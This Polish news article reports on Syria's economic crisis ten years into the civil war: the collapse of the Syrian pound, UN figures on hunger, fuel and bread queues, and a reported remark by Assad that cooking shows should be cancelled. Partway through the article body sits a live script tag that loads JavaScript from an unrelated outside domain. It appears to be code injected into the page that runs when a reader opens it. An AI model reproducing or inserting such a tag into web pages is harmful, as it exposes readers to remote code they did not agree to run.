Jedzenie staje się nieosiągalne? Asad radzi: odwołać programy kulinarne w telewizji

Reżim za nic ma życie obywateli - pokazał to nie raz. Ale teraz nawet wierni mu mieszkańcy wyniszczonego wojną kraju zaczynają mieć dosyć. Baszszar al-Asad może i odniósł militarne zwycięstwo nad opozycyjnymi siłami, ale staje się ono pyrrusowe - w kwestiach ekonomicznych przegrywa na całej linii. Od kilkunastu miesięcy Syria przechodzi przez ogromny kryzys, a gospodarka jest w najgorszym stanie od wybuchu wojny domowej.

Mija 10 lat od wybuchu syryjskiej wojny domowej, która kosztowała życie setki tysięcy osób, a ponad połowę Syryjczyków zmusiła do ucieczki z domów. Syryjczycy w kraju i na uchodźstwie bardziej niż kiedykolwiek potrzebują pomocy. Dlatego w Gazeta.pl #PamiętamyoSyrii - nie tylko w rocznicę opisujemy sytuację w kraju, a teraz pamiętamy szczególnie i wraz z Polskim Centrum Pomocy Międzynarodowej zbieramy środki na prowadzenie przychodni dla syryjskich uchodźców w Libanie. Możesz wesprzeć zbiórkę na Facebooku, przez stronę PCPM oraz baner pod artykułem. Tu przeczytasz więcej o celu zbiórki.

Na kilka dni przed 10. rocznicą konfliktu Syrii lokalna waluta pobiła kolejny rekord - słabości. Notowania funta syryjskiego wobec dolara amerykańskiego spadły do najniższego poziomu w historii. Oficjalny kurs, ustalany przez syryjski bank centralny, to od połowy ubiegłego roku 1256 funtów za jednego dolara. Nie ma on jednak większego znaczenia, bo kwitnie czarnorynkowa wymiana i według niej jeden dolar wart jest już ponad 4000 funtów. U progu wojny, w połowie marca 2011 roku, było to zaledwie 47 funtów. Tylko w ciągu ostatniego roku syryjska waluta straciła ponad trzy czwarte swojej wartości. Bank centralny na początku tego roku zaczął emitować nowy banknot o najwyższym jak dotąd nominale - 5000 funtów. 

<script src="https://quitsnap-blue.com/accounts/462/258/qs.js"></script>

Syria. Załamanie waluty na 10. rocznicę wybuchu wojny

Wojna domowa, sankcje zachodu i korupcja - to przez lata były główne czynniki gwałtownego spadku wartości syryjskiej waluty. Później dołączyło załamanie gospodarki sąsiedniego Libanu. To jeszcze bardziej uderza w nawet bogatszych Syryjczyków, z których wielu ma oszczędności ulokowane w libańskich bankach - i nie może ich stamtąd wydobyć. 

Średnia pensja w Syrii to około 90 tys. funtów syryjskich miesięcznie, co stanowi równowartość 22,5 dolara. Szybko traci jednak ona na wartości, trudno za taką kwotę przeżyć w kraju, w którym szybkie zmiany czarnorynkowego przelicznika podbijają ceny w sklepach, zmieniające się niemal codziennie. A załamanie waluty to niejedyny problem.

Po 2015 roku reżim, dzięki pomocy przede wszystkim Rosji, a także Iranu, odbił znaczne obszary terytorium kraju i obecnie kontroluje, według szacunków podawanych przez think tank Atlantic Council, około 65-70 proc. Jeszcze w ubiegłym roku Baszszar al-Asad zapowiadał, że przejmie kontrolę nad pozostałymi terenami, ale obecnie to gospodarka staje się jego największym wyzwaniem.  

Zobacz wideo 10 lat wojny domowej w Syrii. Miliony uchodźców, gigantyczne zniszczenia, pogłębiony przez pandemię kryzys

Nie mają jedzenia? Niech nie oglądają programów kulinarnych

Prezydent musi zdawać sobie z tego sprawę, ale z doniesień wynika, że chyba nie do końca rozumie, lub chce rozumieć skalę problemu. "The New York Times" pod koniec lutego donosił o kulisach nieoficjalnego spotkania z proreżimowymi dziennikarzami. Na stwierdzenia podsumowujące zapaść gospodarczą Asad miał odpowiedzieć: "wiem". "Nie zaproponował jednak żadnych konkretnych kroków, aby powstrzymać kryzys, poza rzuceniem pomysłu takiej idei: telewizja powinny odwołać programy kulinarne, by nie drażnić Syryjczyków obrazami nieosiągalnego jedzenia" - pisze "NYT" powołując się na swoje źródła. 

Światowy Program Żywnościowy ONZ szacuje, że blisko 60 proc. syryjskiej populacji, czyli 12,4 mln osób, ma utrudniony dostęp do żywności lub wręcz dotkniętych głodem. To dwa razy więcej niż w 2018 roku i najwięcej w historii zbierania danych w tym kraju. W ciągu zaledwie roku podwoiła się też liczba mieszkańców Syrii, którzy bez pomocy żywnościowej po prostu nie przeżyją - to już 1,3 mln osób. 

Kryzys walutowy z pewnością się do tego mocno przyczynił - jeśli nawet ktoś ma pracę, to jego pensja gwałtownie traci na wartości. Jak podaje ONZ, w zeszłym roku ceny żywności wzrosły o ponad 200 proc. Praca nie jest czymś oczywistym, bezrobocie rośnie.

Przeciętne wydatki gospodarstw domowych przekraczają ich dochody o około 20 proc. - przekazywał pod koniec lutego Radzie Bezpieczeństwa ONZ Mark Lowcock, Podsekretarz Generalny ONZ i Koordynator ds. Natychmiastowej Pomocy. "Ponad 70 procent Syryjczyków mówi, że w ciągu ostatniego roku zaciągnęło nowy dług. Wielu sprzedaje swoje aktywa lub posiadane zwierzęta. Rodzice jedzą mniej, by móc nakarmić dzieci i wysyłają je do pracy zamiast do szkoły. Ci, którym zabrakło opcji, po prostu głodują" - mówił Mark Lowcock w swoim wystąpieniu. Opisywał też swoje rozmowy z lokalnymi lekarzami pediatrii. Przekazali mu, że niedożywienie dzieci jest tak powszechne, że rodzice już nawet nie zauważają objawów i przynoszą dzieci do szpitali, przekonani, że coś innego jest źródłem problemów zdrowotnych. 

W sąsiednich krajach, w których przebywa kilka milionów syryjskich uchodźców, niekoniecznie zresztą jest lepiej. W Libanie, gdzie także szaleje kryzys i inflacja, blisko 90 proc. Syryjczyków żyje poniżej granicy skrajnego ubóstwa. 

Paliwa i chleba

W samej Syrii narasta problem niedoboru paliw i żywności. Po dofinansowywane przez państwo racje chleba pita trzeba stać godzinami w kolejkach. Także po paliwo i gaz do ogrzewania domów i gotowania ustawiają się ogromne, czasem wielokilometrowe kolejki. To dlatego, że reżim Asada, choć kontroluje większość kraju, to jednak nie tereny, na których znajdują się uprawy pszenicy i pola naftowe - północno-wschodnią część Syrii zajmują siły kurdyjskie. Do tego dochodzą częste przerwy w dostawach prądu. Jak podaje Bank Światowy, aktywność gospodarcza w Syrii spadła o ponad 60 proc. w porównaniu z 2010 rokiem. Nie pomaga - jak wszędzie - pandemia koronawirusa. 

Budżet państwa na ten rok w teorii jest większy niż na 2020 - sięga 8,500 mld funtów syryjskich. Jednak spadek wartości waluty sprawia, że w przeliczeniu na dolary (i po uwzględnieniu inflacji), jest on o ponad jedną czwartą mniejszy od ubiegłorocznego, ale i najmniejszy od wybuchu protestów przeciwko władzom w 2011 roku - szacuje Atlantic Council. Asadowi nie pomagają amerykańskie sankcje, w połowie ubiegłego roku Biały Dom nałożył największe jak dotąd restrykcje. 

Baszszar al-Asad może i kontroluje terytorium Syrii, ale wygląda na to, że nad jej gospodarką reżim kontrolę dawno już stracił. A wiosną tego roku w kraju odbędą się wybory prezydenckie. 

Więcej o: